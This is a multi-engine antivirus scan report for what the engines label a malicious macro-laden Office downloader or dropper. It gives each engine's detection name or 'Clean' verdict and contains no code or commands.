BitDefender VB:Trojan.Valyria.4372
NANO-Antivirus Clean
SUPERAntiSpyware Clean
MicroWorld-eScan VB:Trojan.Valyria.4372
Ad-Aware ATI:Lazarus.Doc.BMPStegano.6B0AD048
Sophos Troj/DocDrp-ABS
Comodo Clean
F-Secure Heuristic.HEUR/Macro.Downloader.MRDT.Gen
Baidu Clean
Zillya Clean
TrendMicro TROJ_FRS.0NA103DQ21
McAfee-GW-Edition BehavesLike.OLE2.Downloader.hb
FireEye VB:Trojan.Valyria.4372
Emsisoft VB:Trojan.Valyria.4372 (B)
SentinelOne Static AI - Malicious OLE
GData VB:Trojan.Valyria.4372
Jiangmin Clean
Avira HEUR/Macro.Downloader.MRDT.Gen
MAX malware (ai score=100)
Antiy-AVL Trojan/Generic.ASMacro.2B1F6
Kingsoft Clean
Gridinsoft Clean
Arcabit VB:Trojan.Valyria.D1114
ViRobot W97M.S.Downloader.524800
ZoneAlarm HEUR:Trojan.Script.Generic
Microsoft TrojanDownloader:O97M/Tnega!MSR
AhnLab-V3 Dropper/DOC.Generic
Acronis Clean
VBA32 Clean
ALYac Trojan.Downloader.DOC.Gen
TACHYON Suspicious/W97M.Obfus.Gen.8
Zoner Clean
Rising Clean
Yandex Clean
Ikarus Trojan-Downloader.VBA.Agent
MaxSecure Clean
Fortinet VBA/Agent.UOE!tr
AVG VBA:Dropper-BX [Trj]
Panda Clean
Qihoo-360 Clean
No IRMA results available.